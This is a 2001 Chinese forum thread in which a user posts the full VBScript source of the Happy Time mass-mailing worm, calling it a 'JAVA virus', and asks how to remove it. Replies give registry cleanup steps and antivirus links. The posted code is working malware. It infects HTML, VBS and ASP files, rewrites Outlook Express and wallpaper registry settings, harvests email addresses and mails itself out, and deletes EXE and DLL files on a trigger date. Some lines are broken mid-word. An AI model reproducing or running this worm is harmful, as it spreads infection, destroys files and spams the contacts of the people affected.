以下是JAVA病毒源码(50分)

一剑飘雪 · 2001-07-20

以下是JAVA病毒源码，请教我怎样杀了它，小生在这里谢谢了！
<HTML><body bgcolor='#007f7f' background=''></Body></HTML><script language='VBScript'>
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML then

mURL = LCase(document.Location)
If mPath = "" then

Os.Reset
Os.Path = "C:/Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:/Help.htm' width='0' height='0'></Iframe></span>"
Calldo
cument.Body.insertAdjacentHTML("Afterbegin
", Ihtml)
else

If Iv(mPath, "Help.vbs") then

setInterval "Rt()", 10000
else

m = "hta"
If LCase(m) = Right(mURL, Len(m)) then

id = setTimeout("mclose()", 1)
main
else

Os.Reset()
Os.Path = mPath &
"/" &
"Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
else

main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER/Software/"
Ds = Grf()
Cs = Gsf()
If IsVbs then

If Of.FileExists("C:/help.htm") then

Of.DeleteFile ("C:/help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 then

Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks &
"Help/Count")
If Cn = "" then

Cn = 1
End If
Rw Ks &
"Help/Count", Cn + 1
f1 = Rg(Ks &
"Help/FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks &
"Help/FileName", f2
If IsDel(fext) then

f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks &
"Help/FileName", f2
Of.DeleteFile f3
else

If LCase(WScript.ScriptFullname) <> LCase(f2) then

Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 then

If (CInt(Second(Time)) Mod 2) = 0 then

Tsend
else

adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")
If Rg(Ks &
"Help/wallPaper") <> wp Or wp = "" then

If wp = "" then

n1 = ""
n3 = Cs &
"/Help.htm"
else

mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs &
"/" &
n2 &
".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" &
"HTML><" &
"body bgcolor='#007f7f' background='" &
n1 &
"'><" &
"/Body><" &
"/HTML>" &
mt
pfc.Close
Rw Ks &
"Help/wallPaper", n3
Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3
End If
else

Set fc = Of.CreateTextFile(Ds &
"/Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs &
"/Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")
oe = "HKEY_CURRENT_USER/Identities/" &
oeid &
"/Software/Microsoft/Outlook Express/5.0/Mail"
MSH = oe &
"/Message Send HTML"
CUS = oe &
"/Compose Use Stationery"
SN = oe &
"/Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs &
"/WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <> "" then

Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" &
"title>I am sorry!</title" &
">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa

Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 then

m = "<%" &
VBSText &
"%>"
End If
If Mid(n, 2, 1) = 1 then

m = VBSText
End If
If Mid(n, 1, 1) = 1 then

m = Lscript(m)
End If
Sa = m &
vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) then

mmail = Ml(mt)
mt = Sa

Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 then

Sc = True
else

Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) then

fpath = Of.GetFile(S).ParentFolder
fname = S
else
If Of.FolderExists(S) then

fpath = S
T = True
else

fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T then

If GetExt(Of, Od, m) <> "" then

FNext = m
Exit Function
End If
else
If LCase(m) = LCase(fname) Or fname = "" then

T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) then

Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 then

Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
else

Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T then

If Ppath = LCase(pn) then

T = False
End If
else

Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder then

m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 then

If T then

Dnext = d
Exit Function
else

If LCase(S) = LCase(d) then

T = True
End If
If m = "" then

m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err then

IsVbs = False
else

IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest =do
cument.Location
If Er then

IsHTML = False
else

IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 then

m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 then

IsMail = True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs then

Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
else

For Each ws Indo
cument.scripts
If LCase(ws.Language) = "vbscript" then

If Sc(ws.Text) then

Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er then

Iv = False
else

Iv = True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:/"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder then

Grf = mShell.Path
Exit Function
End If
Next
If Er then

Grf = ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er then

Gsf = "C:/"
else

Gsf = m
End If
End Function
Function Lhtml()
Lhtml = "<" &
"HTML" &
"><HEAD" &
">" &
vbCrLf &
_
"<" &
"Title> Help </Title" &
"><" &
"/HEAD>" &
vbCrLf &
_
"<" &
"Body> " &
Lscript(Lvbs()) &
vbCrLf &
_
"<" &
"/Body></HTML" &
">"
End Function
Function Lscript(S)
Lscript = "<" &
"script language='VBScript'>" &
vbCrLf &
_
S &
"<" &
"/script" &
">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 then

l3 = i + l2 - 1
If n = 0 then

Sl = Left(S1, i - 1)
else
If n = 1 then

Sl = Right(S1, l1 - l3)
End If
else

Sl = ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 &
"mailto" &
":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" then

T = False
else

m = Sl(S1, S3, 0)
If IsMail(m) then

adds = adds &
m &
vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m

For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" then

Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " &
Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf &
"/Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER/Software/Microsoft/Windows Messaging Subsystem/Profiles/DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) then

MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf &
"/Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 then

Er = False
else

Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 then

IsDel = True
else

IsDel = False
End If
End Function
</script>
以上是JAVA病毒，请仁兄教我怎样杀了它！

wcp · 2001-07-20

看不懂呀

wcp · 2001-07-20

看不懂呀

base1 · 2001-07-20

解决办法：
在Windows"开始"菜单下选择"运行"，运行Regedit，
找到Hkey_Current_User/Identities/{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}
/Software/Microsoft/　Outlook Express/5.0/Mail
删除以下三项的键值：
(1)Message Send Html="1"
　　(2)ComPose Use Stationery="1"
　　(3)Stationery Name="C://Windows//Untitled.htm"
同样删除以下各项的键值：
Hkey_Current User/Software/Help/Count
Hkey_Current User/Software/Help/FileName
Hkey_Current_User/Control Panel/Desktop中Wallpaper="C://WINDOWS//HELP.HTM"
在Windows的"开始"菜单中运行"win.ini"，将其中的"Wallpaper="等号后的键值删除。
运行杀毒软件查杀硬盘，如果出现
“help.vbs、help.hta、untitled.htm等文件被感染信息删除即可。
最后提醒一句,不要用JAVA的名字来唬人,明明是VBSCRIPT编的,害得我白高兴一场...

bluefoam · 2001-09-14

打开这个页面的同时，就报告中毒了，各位节哀

zhuny · 2001-09-14

明明就是VBS放的药
怎么会是JAVA下的毒？？？？？？

ili · 2001-09-14

是的，我的诺顿当即报警！可不能杀呀！55555555~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

honestman · 2001-09-14

怎么好象不象JAVA的语法啊？

ili · 2001-09-14

各位，你们没发现这页有VBS.Haptime.A@mm病毒么？！！！！！！
这哪是什么java呀！“欢乐时光”Happy Time的源代码嘛！！！！嘿嘿，都完了~~~~~~~

iamfly · 2001-09-14

还好有NORTON挡住了：)
一看语法就知道是VBS的了，和JAVA半点关系也没有

小虫~ · 2001-10-20

to:ili
怎么会中毒呢？难道看了关于aids介绍的电视，我们都会得aids吗？呵呵呵呵！

我爱飞 · 2001-10-20

怎么回事，难道看了这页真的中招了吗？

htw · 2001-10-20

这是快乐时光病毒！以上只是其源代码而已
没有事，上金山公司去下载个免费的happytime杀毒程序即可，只有40K
前两天才帮别人杀了happytime病毒。
http://www.iduba.net/download/other/tool_010722_4.htm
http://www.iduba.net/resource/virus/Happytime.htm
其症状是：每隔10秒出一个对话框，当月份+日=13时删除C盘中发现的第一个exe或dll文件

yxdelphi · 2001-10-22

java中不了

varphone · 2001-10-22

VB script as vb!

tank37 · 2001-11-17

who have nimda soures?????xixi!
i want look look!

YB_unique · 2001-11-17

林子大了，什么鸟都有！
Linux下的病毒不都有了嘛！不知道WinXP怎么样？

coolcat · 2001-11-17

呵呵.如果JAVA用这种语法的话.我早就学会了..
还是VBS好..

andersa · 2001-11-23

本页确实有毒,C写的病毒代码可以读,JavaScript写的病毒源代码在浏览器中阅读[

]

fanren945 · 2001-11-23

happytime

以下是JAVA病毒源码(50分)

一剑飘雪

Unregistered / Unconfirmed

wcp

Unregistered / Unconfirmed

wcp

Unregistered / Unconfirmed

base1

Unregistered / Unconfirmed

bluefoam

Unregistered / Unconfirmed

zhuny

Unregistered / Unconfirmed

ili

Unregistered / Unconfirmed

honestman

Unregistered / Unconfirmed

ili

Unregistered / Unconfirmed

iamfly

Unregistered / Unconfirmed

小虫~

Unregistered / Unconfirmed

我爱飞

Unregistered / Unconfirmed

htw

Unregistered / Unconfirmed

yxdelphi

Unregistered / Unconfirmed

varphone

Unregistered / Unconfirmed

tank37

Unregistered / Unconfirmed

YB_unique

Unregistered / Unconfirmed

coolcat

Unregistered / Unconfirmed

andersa

Unregistered / Unconfirmed

fanren945

Unregistered / Unconfirmed

Similar threads